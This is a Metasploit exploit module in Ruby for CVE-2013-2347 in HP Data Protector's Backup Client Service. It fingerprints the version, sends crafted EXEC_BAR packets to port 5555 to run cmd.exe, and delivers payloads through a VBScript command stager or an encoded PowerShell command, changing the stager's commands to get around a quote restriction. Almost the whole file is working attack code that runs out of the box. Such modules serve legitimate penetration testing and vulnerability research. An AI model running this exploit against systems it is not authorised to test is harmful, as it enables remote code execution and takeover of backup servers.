##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::Tcp
  include Msf::Exploit::Powershell
  include Msf::Exploit::CmdStager

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'HP Data Protector Backup Client Service Remote Code Execution',
        'Description' => %q{
          This module abuses the Backup Client Service (OmniInet.exe) to achieve remote code
          execution. The vulnerability exists in the EXEC_BAR operation, which allows to
          execute arbitrary processes. This module has been tested successfully on HP Data
          Protector 6.20 on Windows 2003 SP2 and Windows 2008 R2.
        },
        'Author' => [
          'Aniway.Anyway <Aniway.Anyway[at]gmail.com>', # Vulnerability discovery
          'juan vazquez' # Metasploit module
        ],
        'References' => [
          [ 'CVE', '2013-2347' ],
          [ 'BID', '64647' ],
          [ 'ZDI', '14-008' ],
          [ 'URL', 'https://h20566.www2.hp.com/portal/site/hpsc/public/kb/docDisplay/?docId=emr_na-c03822422' ],
          [ 'URL', 'http://ddilabs.blogspot.com/2014/02/fun-with-hp-data-protector-execbar.html' ]
        ],
        'Privileged' => true,
        'Payload' => {
          'DisableNops' => true
        },
        'DefaultOptions' => {
          'CMDSTAGER::DECODER' => File.join(Rex::Exploitation::DATA_DIR, "exploits", "cmdstager", "vbs_b64_noquot")
        },
        'Platform' => 'win',
        'Targets' => [
          [ 'HP Data Protector 6.20 build 370 / VBScript CMDStager', {} ],
          [ 'HP Data Protector 6.20 build 370 / Powershell', {} ]
        ],
        'DefaultTarget' => 0,
        'DisclosureDate' => '2014-01-02',
        'Notes' => {
          'Reliability' => UNKNOWN_RELIABILITY,
          'Stability' => UNKNOWN_STABILITY,
          'SideEffects' => UNKNOWN_SIDE_EFFECTS
        }
      )
    )

    register_options(
      [
        Opt::RPORT(5555),
        OptString.new('CMDPATH', [true, 'The cmd.exe path', 'c:\\windows\\system32\\cmd.exe'])
      ]
    )
    deregister_options('CMDSTAGER::FLAVOR')
  end

  def check
    fingerprint = get_fingerprint

    if fingerprint.nil?
      return Exploit::CheckCode::Unknown
    end

    print_status("HP Data Protector version #{fingerprint}")

    if fingerprint =~ /HP Data Protector A\.06\.(\d+)/
      minor = $1.to_i
    else
      return Exploit::CheckCode::Safe
    end

    if minor < 21
      return Exploit::CheckCode::Appears
    elsif minor == 21
      return Exploit::CheckCode::Detected
    else
      return Exploit::CheckCode::Detected
    end
  end

  def exploit
    if target.name =~ /VBScript CMDStager/
      # 7500 just in case, to be sure the command fits after
      # environment variables expansion
      execute_cmdstager({ :flavor => :vbs, :linemax => 7500 })
    elsif target.name =~ /Powershell/
      # Environment variables are not being expanded before, neither in CreateProcess
      command = cmd_psh_payload(payload.encoded, payload_instance.arch.first, { :remove_comspec => true, :encode_final_payload => true })
      if command.length > 8000
        # Windows 2008 Command Prompt Max Length is 8191
        fail_with(Failure::BadConfig, "#{peer} - The selected payload is too long to execute through powershell in one command")
      end
      print_status("Exploiting through Powershell...")
      exec_bar(datastore['CMDPATH'], command, "\x00")
    end
  end

  def build_pkt(fields)
    data = "\xff\xfe" # BOM Unicode
    fields.each do |v|
      data << "#{Rex::Text.to_unicode(v)}\x00\x00"
      data << Rex::Text.to_unicode(" ") # Separator
    end

    data.chomp!(Rex::Text.to_unicode(" ")) # Delete last separator
    return [data.length].pack("N") + data
  end

  def get_fingerprint
    ommni = connect
    ommni.put(rand_text_alpha_upper(64))
    resp = ommni.get_once(-1)
    disconnect

    if resp.nil?
      return nil
    end

    Rex::Text.to_ascii(resp).chop.chomp # Delete unicode last null
  end

  def exec_bar(cmd, *args)
    connect
    pkt = build_pkt([
      "2", # Message Type
      rand_text_alpha(8),
      rand_text_alpha(8),
      rand_text_alpha(8),
      rand_text_alpha(8),
      rand_text_alpha(8),
      "11", # Opcode EXEC_BAR
      rand_text_alpha(8),
      rand_text_alpha(8),
      rand_text_alpha(8),
      rand_text_alpha(8),
      rand_text_alpha(8),
      rand_text_alpha(8),
      rand_text_alpha(8),
      rand_text_alpha(8),
      rand_text_alpha(8),
      rand_text_alpha(8),
      rand_text_alpha(8),
      "#{cmd}", # Executable
      rand_text_alpha(8)
    ].concat(args))
    sock.put(pkt)
    # In my testings the default timeout (10) isn't enough
    begin
      res = sock.get_once(-1, 20)
    rescue EOFError # happens when using the Powershell method
      disconnect
      return
    end
    fail_with(Failure::Unknown, "#{peer} - Expected answer not received... aborting...") unless exec_bar?(res)
    disconnect
  end

  def exec_bar?(data)
    return false if data.blank?

    data_unpacked = data.unpack("NnVv")
    data_unpacked.length == 4 && data_unpacked[0] == 8 && data_unpacked[1] == 0xfffe && data_unpacked[2] == 0x36 && data_unpacked[3] == 0
  end

  def execute_command(cmd, opts = {})
    exec_bar(datastore['CMDPATH'], "/c #{cmd}", "\x00")
  end

  def get_vbs_string(str)
    vbs_str = ""
    str.each_byte { |b|
      vbs_str << "Chr(#{b})+"
    }

    return vbs_str.chomp("+")
  end

  # Make the modifications required to the specific encoder
  # This exploit uses an specific encoder because quotes (")
  # aren't allowed when injecting commands
  def execute_cmdstager_begin(opts)
    var_decoded = @stager_instance.instance_variable_get(:@var_decoded)
    var_encoded = @stager_instance.instance_variable_get(:@var_encoded)
    decoded_file = "#{var_decoded}.exe"
    encoded_file = "#{var_encoded}.b64"
    @cmd_list.each do |command|
      # Because the exploit kills cscript processes to speed up and reliability
      command.gsub!(/cscript \/\/nologo/, "wscript //nologo")
      command.gsub!(/CHRENCFILE/, get_vbs_string(encoded_file))
      command.gsub!(/CHRDECFILE/, get_vbs_string(decoded_file))
    end
  end
end
